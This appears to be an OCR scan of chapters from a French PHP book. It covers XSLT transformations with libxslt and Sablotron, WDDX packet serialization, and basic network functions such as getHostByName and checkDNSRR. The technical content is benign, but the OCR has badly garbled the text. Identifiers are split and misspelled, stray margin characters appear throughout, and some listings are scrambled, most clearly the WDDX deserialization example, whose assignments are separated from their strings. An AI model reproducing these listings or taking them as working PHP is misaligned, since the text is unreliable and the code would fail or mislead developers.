II se trouve que {'operation configure ne s'est pas deroule correctement dans notre 
environnement. Celui-ci n'acceptant pas apparemment pas notre compilateur. Nous 
ne nous sommes alors pas attardes sur le probleme et nous nous en sommes remis aux 
"packages" de notre Debian. Nous avons done remplace V installation precedente par 

# apt-get install 1 i bxsl tl-dev 



REMARQUE 



Une fois libxslt installe, il suffit de recompiler PHP avec l'option de configuration 

" — with-xsl = /usr /local". 
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Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Verification 

Comme vous en avez pris l'habitude, vous pouvez verifier que 1'installation s'est deroulee 
correctement en appelant un script contenant <?php phpinf o ( ) ; ?> qui doit afficher : 





xsl 






XSL 


enabled 




libxsit Version 


1.1.8 


libxsit compiled against libxml Version 


Z.6.11 


EXSLT 


enabled 


libexslt Version 


1.1.8 



Figure 15.5 : phpinfo() 



Utilisation 

La transformation d'un document XML via XSLT est tres simple. II suffit de charger les 
documents XML et XSL dans des objets DOMDocument, d'instancier un objet 
XSLTProcessor, de charger le document XSL et d'appeler la methode de transformation. 





Vous pouvez vous reporter au chapitre "Le parseur DOM" pour plus de details sur 
I'objet DOMDocument. 



RENVOI 



CO _l 

= X 



XSLTProcessor(); 

Objet permettant les transformations XSLT 
Syntaxe: XSLTProcessor () 

XSLTProcessor->importStyleSheet() 

Definit la feuille de style a utiliser pour les prochaines transformations XSL. 

Syntaxe: boolean importStyl eSheet (DOMDocument $documentXSL) 

$documentXSL Document DOM contenant la feuille de style 

retour FALSE en cas d'echec, NULL sinon 
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XSLTProcessor->transformToXML () 

Retourne, sous forme d'une chaine de caracteres, le resultat de 1'application de la feuille de 
style precedemment selectionnee sur le document XML indique. 

Syntaxe : string transformToXML(DOMDocument $documentXML) 

$documentXML Document DOM contenant le document XML a transformer, 

retour Resultat de la transformation ou FALSE en cas d'erreur. 



XSLTProcessor->transformToDoc () 

Retourne, sous forme d'un DOMDocument, le resultat de 1'application de la feuille de style 
precedemment selectionnee sur le document XML indique. 

Syntaxe: DOMDocument transformToDoc (DOMDocument $documentXML) 

$documentXML Document DOM contenant le document XML a transformer. 

retour Resultat de la transformation sous forme de DOMDocument ou FALSE 

en cas d'erreur. 

Listing 15.23 : xsl_01.php 

<?php 

$cheminAbsol u = dirname( FILE ); 

// Chargement du document XML 
$xmlDoc = new DOMDocument () ; 

$xmlDoc->load("$cheminAbsolu/. ./src_xml /mediatheque_01b.xml ") ; 
$xslDoc = new DOMDocument () ; 

$xslDoc->load("$cheminAbsolu/. ./src_xml /medi atheque_01 .xsl ") ; 

// Chargement de la feuille de style x 
$xslt = new XSLTProcessor() ; p 
$xsl t->importStyl eSheet ($xsl Doc) ; 

// Transformation du fichier XML via XSLT 
// et envoi du resultat directement a 1'ecran 
echo $xsl t->transformToXML($xml Doc) ; 

?> 

Le resultat obtenu sera alors : 
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Contenu de la mediatheque 



Noir Desir 



ties Viiages dex Figures 



L 'enfant roi 



Le grand incendie 



Le vent nous portera |4:48 



~||6i03 



37 



Placebo 



Without Yon I'm Nothing 



Pure Morning 



Without You I'm Nothing |4:30 



Every You, Every Me 5:00 



Muse 



phowbiz 

Feeling Good 



Figure 15.6 : 

Exemple de 
transformation XSL 



Dans l'ensemble la transformation s'est relativement correctement bien passee. Neanmoins les 
entites externes n'ont pas ete prises en compte (&nc; n'a par exemple pas ete remplace par "Non 
Communique". II est trop tot pour dire s'il s'agit d'un bug ou bien s'il faut attendre que cette 
bibliotheque evolue encore un peu pour repondre totalement a nos besoins. 



La bibliotheque XSLT/Sablotron 



REMARQUE 



PHP 5 

Cette bibliotheque n'est pas disponible avec PHP 5.X. Elle a ete remplacee par la 
bibliotheque XSL s'appuyant sur libxslt. 



Installation 



CO 
CO 



S x 



Sous Windows 

Que ce soit avec l'archive de PHP Group ou avec EasyPHP, vous devrez vous assurer que vous 
possedez bien un fichier php_xslt.dll dans le repertoire des extensions PHP. II vous suffit alors 
d'ajouter au fichier php.ini ou de decommenter une ligne 

extension=php xslt.dll 



Sous Linux 

Pour pouvoir utiliser la bibliotheque xslt avec Sablotron, vous devez au prealable recuperer la 
bibliotheque sablotron. Celle-ci est disponible sur le site http://www.gingerall.com/ ainsi que sur 
le CD-ROM fourni (sous le nom Sablot-l.O.tar.gz). Cette bibliotheque necessite egalement la 
bibliotheque expat. Cette derniere est disponible a l'adresse http://sourceforge.nel/projects/expat/ 
ainsi que sur le CD-ROM fourni (sous le nom expat-1.95.6.tar.gz). 
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Installation d'expat 

Copiez le fichier expat- 1. 95. 6.tar.gz sous le repertoire /usr/local/src/lib (par exemple), puis 
saisissez les commandes : 

# gunzip expat-1.95.6.tar.gz 

# tar xvf expat-1.95.6 

Le fichier est a present decompresse. 

# cd expat-1.95.6 

# ./configure 

# make 

# make install 

La bibliotheque expat est maintenant disponible sous /usr/local/lib (fichiers libexpat*). 
Installation de Sablotron 

Avant d'installer Sablotron vous aurez besoin de patcher un des fichiers installes par expat (si 
comme indique vous utilisez la version 1.95.6). Pour cela, allez dans le repertoire lusr/locall 
include et editez le fichier expat.h. Recherchez le bout de code suivant: 

enum XML_Status { 

XML_STATUS_ERROR = 0, 
Idefine XML_STATUS_ERROR XML_STATUS_ERROR 

XML_STATUS_0K = 1 
#define XML_STATUS_0K XML_STATUS_0K 

}; 

et deplacez le en debut de fichier (avant le bloc "enum XML_Error {" par exemple) 

Maintenant vous pouvez copier le fichier Sablot-l.O.tar.gz sous le repertoire lusrllocal/srcllib 
(par exemple), puis saisir les commandes : 

# gunzip Sablot-l.O.tar.gz 

# tar xvf Sablot-l.O.tar 

# cd Sablot-1.0 

Le fichier est a present decompresse. 

# cd Sablot-1.0 

# export SABL0T_GPL=1 

# ./configure 

# make 

# make install 



^£ SABLOTGPL 

^ La commande export sablot_gpl=1 est necessaire si vous souhaitez utiliser la 
REMARQJE fonction xslt_set_encoding ( ). 
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La bibliotheque Sablotron est desormais disponible sous lusrllocal/lib (fichiers libsab*) ainsi 
que le fichier /usr/local/bin/sabcmd. 

Maintenant que Sablotron est installe, il suffit de l'integrer a PHP, en le recompilant avec 
1'option de configuration " — enable-xslt — with-xslt-sablot". Mais attention! Avec la 
version 3 de gcc, vous risquez d'avoir des petits problemes. Pour y palier, vous devrez lancer la 
commande suivante avant l'appel a la commande . /configure. 

# export LDFLAGS="-lstdc++" 




Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 



RENVOI 



REMARQUE 



Apache 

Le serveur Apache integre sa propre version d'expat qui peut entrer en conflit avec 
celle qui vient d'etre installee. Cependant, depuis la version 1.3.21 d'Apache, il suffit 
de recompiler Apache pour qu'il integre la version d'expat qui vient d'etre installee. 
Si vous disposez d'une version plus ancienne d'Apache pensez a la mettre a jour. 



Verification 

Comme vous en avez pris l'habitude, vous pouvez verifier que 1'installation s'est deroulee 
correctement en appelant un script contenant <?php phpinf o ( ) ; ?> qui doit afficher : 

Figure 15.7 : 

phpinfoQ 



xsit 


XS LT support 


enabled 


Backend 


Sablotron 


Sablotron Version 


1.0 


Sablotron Information 


Cflags: -g -02 Libs: -LAisr/locaMib -lexpat Prefix: /usr/local 



CO _l 

ss X 



Utilisation 

La transformation d'un document XML via XSLT se realise en trois etapes 

Creation d'un analyseur XSLT ; 
■ Transformation du document ; 

Liberation des ressources occupees par l'analyseur. 



Ceci se traduit par l'appel aux fonctions : 



xslt_create ( ) ; 
xslt_process ( ) ; 
xslt_f ree ( ) . 
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xslt_create() 

Cree un nouvel analyseur XSLT. 

Syntaxe resource xslt_create(void) 

retour Reference sur un analyseur XSLT. 



xslt_process() 



Applique une transformation XSL sur un document XML. 

Syntaxe mixed xsl t_process (resource $analyseurXSLT, string $uriXML, 

string $uriXSL [, string $uriResultat, [array 
$parametresAnalyseur, [array $parametresXSL]]]) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 

$uriXML URI (adresse) du fichier XSL. Ce doit etre soit un chemin relatif au 

serveur (et non pas relatif au script PHP !) soit un chemin absolu precede 
de "file://", "http://", etc. selon la localisation du fichier. 

$uriXSL URI (adresse) du fichier XSL. Ce doit etre soit un chemin relatif au 

serveur (et non pas relatif au script PHP !) soit un chemin absolu precede 
de "file://", "http://", etc. selon la localisation du fichier. 

$uriResultat URI (adresse) ou doit etre ecrit le fichier resultat. Ce doit etre soit un 

chemin relatif au serveur (et non pas relatif au script PHP ! ) soit un chemin 
absolu precede de "file://" selon la localisation du fichier. Si ce parametre 
n'est pas specifie, alors le resultat est donne dans la valeur retour de la 
fonction. 

$parametresXSLT Qui doit contenir un tableau associatif avec pour cles les parametres 
utilises par la feuille XSLT et pour valeurs les valeurs de ces differents 
parametres. 

$parametresAnalyseur Qui doit contenir un tableau presentant les parametres a passer a 
l'analyseur Sablotron. 

retour Chaine de caracteres contenant le resultat de la transformation si aucun 

nom de fichier n'est precise, TRUE si le resultat a ete sauvegarde dans un 
fichier avec succes, FALSE sinon. 



x = 

3 55" 
r- as 



REMARQUE 



Les encodages supportes en entree 

Avec la bibliotheque Sablotron, les fichiers XML peuvent etre encodes en "UTF-8", 
"UTF-16", "ASCir, "ISO-8859-1", "ISO-8859-2" et"Windows-1250". Mais cette liste 
est plus importante si la bibliotheque icon-vest disponible dans Venvironnement de 
l'analyseur XSL T. 
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xslt_free() 

Libere les ressources occupees par l'analyseur. 

Syntaxe void xsl t_f ree(resource $analyseurXSLT) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 



Listing 15.24 : xslt_01.php 

<?php 

// Creation d'un nouvel analyseur XSLT 
$xslt = xsl t_create() ; 



// Transformation du fichier XML via XSLT 
// et envoi du resultat di rectement a 1'ecran 
ScheminAbsol u = "file://".dirname( FILE ); 

echo xsl t_process ($xsl t, "ScheminAbsol u/. ./src_xml /medi atheque_01b.xml " , 

"$chemi nAbsol u/. ./src_xml /medi atheque_01 .xsl ") ; 

// Liberation des ressources 
xsl t_free($xsl t) ; 

?> 



Le resultat obtenu sera alors : 



Contenu de la mediatheque 



Noir Desir 


\des Visages des Figures 


|L 'enfant roi 


|6i03 


Le grand incendie 


|4:37 


|Le vent nous porter a 


pi48 


| Placebo 


Without You I'm Nothing 


|Pure Morning ||4:15 


| Without You I'm Nothing 


|4:30 


|Every You, Every Me 


|5:00 


Radiohead 


\OK Computer 


|KarrnaPolice 




jMuse 


\Showbiz 


Feeling Good 


|Non communique 



Figure 15.8 : 

Example de 
transformation XSL 



Vous constaterez que, dans ce cas, les references externes sont prises en compte 
automatiquement (ce qui n'est pas le cas avec le parseur expat). 
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Le resultat est encode en UTF-8 (ce qui fait que les caracteres accentues pourraient avoir une 
allure etrange selon la configuration de votre navigateur). Si vous souhaitez un resultat en 
ISO-8859-1 (ou autre) vous devez, au prealable, configurer l'analyseur. 

Configuration de l'analyseur 

Par defaut, le document cree est code en UTF-8, mais il est possible de choisir un type 
d'encodage alternatif avec xsit_set_encoding ( ) . 



xslt_set_encoding () 



Precise 1'encodage du document genere (cette fonction n'est pas disponible dans les versions 
Windows de PHP sorties jusque-la, a savoir 4.2.1). 

Syntaxe void xslt_set_encoding (resource $analyseurXSLT, string 

$encodage) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 

$encodage Encodage choisi (ex. : "ISO-8859-1", "UTF-8", ...). 

Encodages supportes en sortie 

~ La liste des encodages supportes depend de Venvironnement. Si la bibliotheque iconv 

REMARQUE £st p r ^ sen i e a [ ors sablotron supporte tous les encodages que supporte iconv. 



xslt_set_base() 



Precise l'URI de base des documents precises par un chemin relatif. =| 

Syntaxe void xsl t_set_base(resource $analyseurXSLT, string $baseURI) P S 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction = 
xslt_create ( ) . J§- 

$baseURI URI de base pour les chemins relatifs. 

Listing 15.25 : xslt_U2.php 

<?php 

// Creation d'un nouvel analyseur XSLT 
$xsl t=xsl t_create() ; 

// Selection d'un encodage de sortie ISO-8859-1 
$status = xslt set encoding($xslt, "ISO-8859-1"); 
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// Precision du chemin du repertoire de base 

$cheminAbsol u="file://".di rname( FILE ) ; 

xsl t_set_base($xsl t , "$chemi nAbsol u/. ./src_xml /") ; 

echo xsl t_process ($xsl t, "mediatheque_01b.xml ", 

"mediatheque_01.xsl ") ; 

// Liberation des ressources 
xsl t_free($xsl t) ; 

?> 

Gestion des erreurs 

II est evidemment possible a tout moment de connaitre quelle a ete la derniere erreur 
rencontree, soit sous la forme d'un code avec xsit_errno ( ) , soit sous la forme d'un message 
d'erreur en anglais avec xsit_error ( ) . 



xslt_errno() 

Retourne le code de la derniere erreur rencontree par 1'analyseur XSLT. 
Syntaxe i nt xslt_errno(resource $analyseurXSLT) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 

retour Code d'erreur. 



xslt_error() 

Retourne le message d'erreur correspondant a la derniere erreur rencontree par 1'analyseur 
XSLT. 

Syntaxe string sxl t_error (resource $analyseurXSLT) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 

retour Message d'erreur. 

II est egalement (en theorie) possible de faire executer sa propre fonction lorsqu'une erreur est 
rencontree. Pour cela, il faut, au prealable, declarer la fonction aupres de 1'analyseur XSLT 

avec la fonction xslt_set_error_handler ( ) . 
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xslt_set_error_handler () 



Declare aupres de l'analyseur XSLT une fonction de gestion des erreurs. 

Syntaxe void xsl t_error_handl er(resource $analyseurXSLT, string 

$foncti onErreur) 

$analyseurXSLT Reference sur un analyseur XSLT tel que retourne par la fonction 
xslt_create ( ) . 

$foncti onErreur Nom de la fonction devant gerer les erreurs. 

La fonction de gestion des erreurs ($f onctionErreur) aura la syntaxe suivante : 

Syntaxe void maFonction(resource $analyseurXSLT, int $ni veauErreur, 

int $erreur, array $info) 

$analyseurXSLT Reference sur un analyseur XSLT telle que retournee par la fonction 
xslt_create ( ) . 

$ni veauErreur Le niveau d'erreur (les niveauxPHP ?). 

$erreur On croirait le code d'erreur precedent. 

$info Tableau associatif contenant diverses informations sur l'erreur. Vous 

trouverez parmi les cles : 
"msgtype" associe a la valeur "error", 
"code" : le code d'erreur. 

"module" : le module ayant detecte l'erreur (i.e. "Sablotron"). 

"URI" : l'URI du document en cause. 

"line" : la ligne a laquelle l'erreur a ete detectee. 

"msg" : le message d'erreur. 



A Bug 

Dans une precedente version testee (PHP 4.2.1 + Sablot-0.90 + Expat 1.95.2) les 
ATTENTION noms des cles etaient souvent "completes" par des signes cabalistiques. Cela semble 
desormais corrige (PHP 4.3.2 + Sablot-1.0 + Expat 1.95.6). 



Gestion des traces 

II est possible de suivre a la trace le travail de l'analyseur XSLT grace a la fonction 
xslt_set_log ( ) . La mise en oeuvre de ce mecanisme de trace se deroule en deux temps. 
Premier temps : autoriser les traces, et second temps : indiquer dans quel fichier stocker les 
traces (par defaut les traces vont sur la sortie stderr). 



x = 



xslt_set_log() 

Demande l'activation/T arret des traces. Indique quel fichier utiliser pour les traces. 
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Syntaxe void xslt_set_log (resource analyseurXSLT, mixed 

$onOffNomFichier) 

$analyseurXSLT Reference sur un analyseur XSLT telle que retournee par la fonction 

xslt_create ( ) . 

$onOf f NomFi chi er TRUE si vous souhaitez activer les traces, FALSE si vous souhaitez stopper 
les traces, ou bien encore nom de fichier (il ne s'agit pas ici d'une URI, 
done pas besoin de le faire preceder de "file://") vers lequel vous souhaitez 
que les traces soient redirigees. 



15.5. Generation de messages XML 



Depuis son arrivee, XML est utilise dans de nombreux domaines. Cela devient l'element de 
base du stockage et de l'echange de l'information. Pas etonnant de voir de nouvelles normes 
apparaitre pour l'echange de messages entre serveurs. 

Parmi elles, Ton trouve la norme WDDX (Web Distributed Data Exchange, e'est-a-dire la 
norme d'echange de donnees sur le Web). Celle-ci est destinee a echanger des structures de 
donnees complexes entre les langages de programmation. 



Web services 

Le laneage XML est egalement a la base de l'echange d' informations des "Web 
REMARQUE JfirW _ 



Les messages WDDX 

Installation 

Sous Windows 

Que ce soit avec l'archive du PHP Group ou EasyPHP, le support de WDDX est active d'office. 

Sous Linux 

II suffit de recompiler PHP avec l'option de configuration " — enabie-wddx". 



RENVOI 



) Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 



Verification 

La encore, vous pouvez verifier que WDDX est bien active en appelant un script contenant 
<?php phpinf o ( ) ; ?> et qui devra cette fois afficher : 
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wddx 



WDDX Support 


enabled 


WDDX Session Serializer 


enabled 



Figure 15.9 : phpinfoQ 

Utilisation 

L'utilisation de la bibliotheque wddx est tres simple. Creer un paquet WDDX decrivant le 
contenu d'une variable consiste a appeler la fonction wddx_seriaiize_vaiue ( ) . 



wddx_serialize_value () 



Cree un paquet WDDX decrivant le contenu d'une variable unique. 

Syntaxe string wddx_serialize_value (mixed $variable [, string 

$commentai re] ) 

$vari abl e Variable a decrire dans le paquet WDDX. 

$commentai re Commentaire a inclure dans l'attribut "comment" de la balise "header" 

du paquet WDDX. 

retour La chaine de caracteres contenant le paquet WDDX. 

Exemple d'utilisation : 

Listing 15.26 : wddx Ol.php 

<?php 

incl ude("wddx2html_inc.php") ; 

$variablel = "Du Texte"; 5i 
$paquetWDDX = wddx_serialize_value($variablel, i— 

"Test avec chaTne de caracteres"); S._ 

echo wddx2html ($paquetWDDX); S 

o' 

=3 

echo "<br />"; bl 

' CD 

$tab = array ("Test", 2, array ("CI e"=>"Val eur") ) ; 

$paquetWDDX = wddx_serialize_value($tab, "Test avec tableau"); 

echo wddx2html ($paquetWDDX) ; 

?> 

Ce script utilise une fonction (faite maison) afin de rendre l'affichage du resultat plus lisible 
depuis un navigateur. 
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Listing 15.27 : wddx2html_inc.php 

<?php 

// Retourne un paquetWDDX avec une forme 
// permettant une meilleure lecture en HTML. 

function wddx2html ($paquetWDDX) 

{ 

$resultat = ""; 
$tab = ""; 

$balises = explode("<", $paquetWDDX) ; 
for ($i=0; $i<count($balises); $i++) { 
if ($balises[$i] ! = "") { 
// S'il s'agit d'une balise fermante 
// indenter un peu moins la ligne 
if (eregi ("7",$balises[$i])) 
$tab = substr($tab, 0, -12) ; 

$resultat .= $tab . html special chars ("<" .$bal i ses [$i] ). "<br />"; 

// S'il s'agit d'une balise ouvrante 
// indenter un peu plus la ligne 
// suivante 

if ( ( ! eregi ( "7" , $bal i ses [$i ] ) ) && 
Oeregi ("/>$", $balises[$i]))) 
$tab .= "  "; 

} 

} 

return $resultat; 

} 

?> 

03 

■° dont voici le resultat : 

c 

o 

oS _i <wddxPacket version='1.0'> 

~ S <header> 

= <comment>Test avec chame de caracteres 

—J </comment> 
^2 </header> 
<data> 

<string>Du Texte 

</string> 

</data> 

</wddxPacket> 

<wddxPacket version=' 1.0'> 
<header> 

<comment>Test avec tableau 

</comment> 
</header> 
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<data> 
<array 1 ength= 1 3 ' > 
<stri ng>Test 
</string> 
<number>2 
</number> 
<struct> 
<var name='Cle'> 
<stri ng>Val eur 
</string> 
</var> 
</struct> 
</array> 
</data> 
</wddxPacket> 

Pour creer un paquet WDDX decrivant plusieurs variables, il faut faire appel a 

wddx_serialize_vars ( ) . 



wddx_serialize_vars () 

Cree un paquet WDDX decrivant plusieurs variables. 

Syntaxe string wddx_serialize_vars (mixed $nomVariable [, mixed 

$nomVari abl e. . .] ) 

$nomVari abl e Nom de la variable ou tableau de noms de variables. 

Listing 15.28 : wddx_02.php 

<?php 

incl ude("wddx2html_inc.php") ; 

$tableau = array ("Test", 2, array ("CI e"=>"Val eur") ) ; 

$variablel = "Variablel"; 
$variable2 = "Variable2"; 

$tableauNom = array ("variablel", "variable2") ; 

SpaquetWDDX = wddx_serialize_vars("variablel", "tableau", $tabl eauNom) ; 
echo wddx2html (SpaquetWDDX) ; 

?> 

affichera : 

<wddxPacket version='1.0'> 
<header/> 
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<data> 
<struct> 
<var name = 'variable l'> 
<string> Variable 1 
</string> 
</var> 

<var name='tableau'> 
<array length = '3 '> 
<string>Test 
</string> 
<number>2 
</number> 
<struct> 
<var name='Cle'> 
<string>Valeur 
</string> 
</var> 
</struct> 
</array> 
</var> 

<var name = 'variable l'> 

<string> Variable 1 

</string> 
</var> 

<var name='variable2'> 
<string>Variable2 
</string> 
</var> 
</struct> 
</data> 
</wddxPacket> 

Dans ce cas, il n'est pas possible de specifier un attribut "comment". 

Si vous souhaitez specifier un attribut "comment", et surtout si vous souhaitez creer un packet 
WDDX en ajoutant les variables les unes apres les autres, vous pouvez utiliser les fonctions 

wddx _joacket_start ( ) , wddx__add_vars ( ) et wddx_packet_end ( ) . 



wddx_packet_start () 



Commence un paquet WDDX. 



Syntaxe 

$comment 



retour 



int wddx_packet_start ( [stri ng $comment]) 

Commentaire a inclure dans l'attribut "comment" de la balise "header". 
Reference sur un paquet WDDX. 
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wddx_add_vars() 

Ajoute des variables a un paquet WDDX. 

Syntaxe void wddx_add_vars (resource $paquetWDDX, mixed $nomVari abl e 

[.mixed $nomVari abl e ...]) 

$paquetWDDX Reference sur un paquet WDDX telle que retournee par 

wddx__packet_start ( ) . 

$nomVari abl e Nom de la variable, tableau de noms de variables. 



wddx_packet_end () 

Clot et retourne le paquet WDDX. 

Syntaxe string wddx_packet_end(int $paquetWDDX) 

$paquetWDDX Reference sur un paquet WDDX telle que retournee par 

wddx__packet_start ( ) . 

retour La chaine de caracteres contenant le paquet WDDX. 

Listing 15.29 : wddx_03.php 

<?php 

incl ude("wddx2html_inc.php") ; 

$tableau = array ("Test", 2, array ("CI e"=>"Val eur") ) ; 

$variablel = "Variablel"; 
$variable2 = "Variable2"; 

$tableauNom = array ("variablel", "variable2") ; 

$refWDDX = wddx_packet_start("Mon commentai re") ; 
wddx_add_vars ($refWDDX, "variablel", "tableau"); 
wddx_add_vars ($refWDDX, $tabl eauNom) ; 
$paquetWDDX = wddx_packet_end($refWDDX) ; 

echo wddx2html ($paquetWDDX) ; 

?> 

Enfin, fort heureusement, la bibliotheque wddx ne permet pas seulement de generer des 
paquets WDDX ; elle permet aussi de les lire. Pour cela, vous disposez de la fonction 

wddx_deserialize ( ) . 
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wddx_deserialize() 

Lit un paquet WDDX. 

Syntaxe mixed wddx_deseri al ize (string $paquetWDDX) 

$paquetWDDX Paquet WDDX a lire. 

retour Retourne, selon les cas, un nombre, une chaine de caracteres, un tableau 

associatif ayant pour cle le nom de la variable et pour valeur la valeur de la 
variable. Ce tableau pourra etre tres simplement converti en une serie de 
variables grace a la fonction extract () presentee dans le chapitre 
concernant les tableaux. 

Listing 15.30 : wddx_04.php 

<?php 

echo "<b>Deserial isation d'un paquet WDDX de type tableau "; 
echo "(issu des exemples precedents)</b>" ; 
echo "<br />"; 

"<wddxPacket version= 1 1.0'>" ; 

"<headerxcomment>Mon commentai re</commentx/header>" ; 
"<dataxstruct>" ; 

"<var name= ' vari abl el ' xstri ng>Vari abl el</stri ngx/var>" ; 
"<var name='tableau'xarray 1 ength= 1 3 ' >" ; 
"<stri ng>Test</stri ngxnumber>2</number>" ; 
"<struct>" ; 

"<var name= 'Cle' xstri ng>Val eur</stri ngx/ var>" ; 
"</struct>" ; 
"</arrayx/var>" ; 

"<var name= ' vari abl el ' xstri ng>Vari abl el</stri ngx/var>" ; 
"<var name= ' vari abl e2 ' xstri ng>Vari abl e2</stri ngx/var>" ; 
"</structx/datax/wddxPacket>" ; 

wddx_deserial ize($paquetWDDX) ; 

if (is_array($tableauWDDX)) extract ($tabl eauWDDX) ; 

echo "variablel = $vari abl el<br />"; 
echo "tableau = "; 
print_r($tableau) ; 
echo "<br/>"; 

echo "variable2 = $vari abl e2<br />"; 



echo "<b>Cas d'une variable de type chaine de caracteres</bxbr />"; 
$paquetWDDX = wddx_serial ize_val ue("Texte") ; 
echo wddx_deserial ize($paquetWDDX) . "<br />"; 

echo "<b>Cas d'une variable de type nombre</bxbr />"; 



$paquetWDDX = 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$paquetWDDX .= 

$tableauWDDX = 
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$paquetWDDX = wddx_serial ize_val ue(12) ; 
echo wddx_deserial ize($paquetWDDX) . "<br />" 



aura bien l'effet attendu, en retournant : 

Deserialisation d'un paquet WDDX de type tableau (issu des exemples precedents) 
variable 1 = Variable 1 

tableau = Array ( [0] => Test [1] => 2 [2] => Array ( [Cle] => Valeur ) ) 
variable2 = Variable2 

Cas d'une variable de type chaine de caracteres 
Texte 

Cas d'une variable de type nombre 
12 
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Reseau 



16.1. Fonctions reseau (de base) 



16.2. Reseau 

Les fonctions presentees dans ce chapitre ne permettent pas de reels developpements, mais 
constituent une "trousse a outils" parfois necessaire dans la manipulation d'informations reseau 
(comme ce peut etre le cas, par exemple, avec 1'utilisation des sockets). Elles ne necessitent 
aucune installation particuliere. 



Adresses IP et DNS 

L'operation la plus souvent sollicitee est certainement celle qui consiste a determiner l'adresse 
IP d'une machine lorsque Ton ne connait que son nom. Pour cela, vous disposez de la fonction 

getHostByName ( ) . 



getHostByName() 

Retourne l'adresse IP de la machine precisee par son nom. 

Syntaxe string getHostByName (string $nomMachine) 

$nomMachi ne Nom de la machine. 

retour Adresse IP de la machine, ou $nomMachine si aucune adresse IP n'a pu 

etre trouvee. 

Ainsi, le code suivant : 
<?php 

echo getHostByName("localhost") ; 

?> 

retournera tres probablement : 
127.0.0.1 

Alors que : 
<?php 

echo getHostByName("www. php.net") ; 

?> 

retournera une adresse IP publique comme, par exemple, 
208.210.50.161 



£ Z| 5' 
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a. 
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II est egalement possible de realiser l'operation inverse, a savoir recuperer un nom de machine 
a partir de son adresse IP grace a getHostByAddr ( ) . 



getHostByAddr() 

Retourne un nom de machine associe a l'adresse IP precisee (tel qu'on le trouve dans le fichier 
I etc /hosts des sytemes UNIX/Linux). 

Syntaxe string getHostByAddr (stri ng $adresseIP) 

$adresseIP Adresse IP de la machine. 

retour Nom associe a la machine, ou $adresselP si aucun nom n'a pu etre 

trouve. 

Le code suivant : 
<?php 

echo getHostByAddr("127.0.0.1"); 

?> 

pourra retourner : 

1 ocal domai n . 1 ocal host 

On notera au passage que l'operation n'est pas necessairement reversible. Si 
getHostByName ( "locaihost" ) retourne "127.0.0.1" cela n'implique pas que 
getHostByAddr (" 127 . o . o . l " ) retourne "locaihost". En effet, une machine peut avoir 
plusieurs noms (via des alias), et c'est done le nom principal qui est retourne par 

getHostByAddr ( ) . 

De meme, une unique machine peut posseder plusieurs adresses IP. Pour en determiner la liste, 
vous pouvez faire appel a getHostByNameL ( ) . 



getHostByNameLQ 



a. 

V) |_ 
CD LL. 

= o." „ Retourne la liste des adresses IP de la machine precisee par son nom. 

a, - 1 - a." Syntaxe array getHostByNameL ($nomMachi ne) 

=> S «s 

™ o S $nomMachine Nom de la machine. 

— ' 

to -2 retour Tableau indexe des adresses IP de la machine, ou FALSE si aucune adresse 

a. IP n'a pu etre trouvee. 

PHP dispose de fonctions permettant de convertir des adresses IP precisees sous la forme 
"classique" xxx.xxx.xxx.xxx en adresses sous la forme d'entiers, et reciproquement. 
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ip2long() 

Convertit une adresse IP du format "xxx.xxx.xxx.xxx" en un entier. 
Syntaxe : int i p21 ong (stri ng $adresseIP) 

$adresseIP Adresse IP au format "xxx.xxx.xxx.xxx". 

retour Adresse IP sous forme d'un entier. 




Entier signe ou non 

Un simple echo du resultat fourni par ipHong peut conduire a I'affichage d'un entier 



ATTENTION negatif. Or celui-ci est theoriquement non signe. II est done preferable defaire appel 
a printf ( "%u ", ip21ong ($adresseIP) ). 



long2ip() 

Convertit une adresse IP d'entier au format "xxx.xxx.xxx.xxx". 
Syntaxe int ip21 ong (string $adresseIP) 

$adresseIP Adresse IP sous forme d'un entier. 

retour Adresse IP au format "xxx.xxx.xxx.xxx". 

Dans certaines circonstances, comme par exemple pour determiner si une adresse e-mail a des 
chances d'etre valide, il peut etre utile de determiner si le nom de domaine indique existe, ou, 
plus precisement, verifier si ce nom est connu du DNS. 



vdV DNS 

' w DNS sont les initiales anglaises de "Domain Name Server", autrement dit "Serveur de 
nom de domaine". En deux mots, ce serveur contient les tables de correspondances 
qui permettent de retrouver une machine (ou son adresse IP) a partir de son nom. 
Vous trouverez plus d' informations sur le site Internet : 
http://www.nic.fr/guides/dns-intro. 

Pour tester la presence d'un nom de machine aupres du DNS vous ferez appel a 

checkDNSRR ( ) . 



checkDNSRR() (non disponible sous Windows) 

Teste la presence d'un nom de machine ou d'une adresse IP aupres du DNS. Notez que dans la 
version 5 de PHP, cette fonction est baptisee DNS_check_record( ) (tout en assurant la 
compatibilite). 
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Syntaxe boolean checkDNSRR(stri ng $nomMachine [, string $type]) 

$nomMachi ne Nom de la machine ou adresse IP. 

$type Precise le type d'entree recherchee (par defaut MX) : 

A (Address = Adresse) : une simple adresse. 

CNAME (Cannonical Name = Nom canonique) : un alias. 

MX (Mail eXchanger = Distributers de courrier) : machine permettant la 

reception de mails. 

NS (Name Server = Serveur de nom) : un serveur de nom. 
PTR (Pointer = Pointeur) : un renvoi sur une autre machine. 
SOA (Start Of Authority) : une zone. 
ANY : l'ensemble des options precedentes. 

retour TRUE si la machine est connue du DNS (pour le type precise), FALSE 

sinon. 



Voici done une petite fonction permettant non pas de verifier la validite d'une adresse e-mail, 
mais de debusquer certaines adresses manifestement non valides. 

<?php 

function testEmai 1 ($emai 1 ) 

{ 

$domaine = strstr ($emai 1 , '@'); 
return checkdnsrr($domai ne, 'MX'); 

} 

$email = "damien@toutestfacile.com"; 
if (testEmai 1 ($emai 1 ) ) { 

echo "Je ne peux pas assurer que cette adresse email est valide ". 
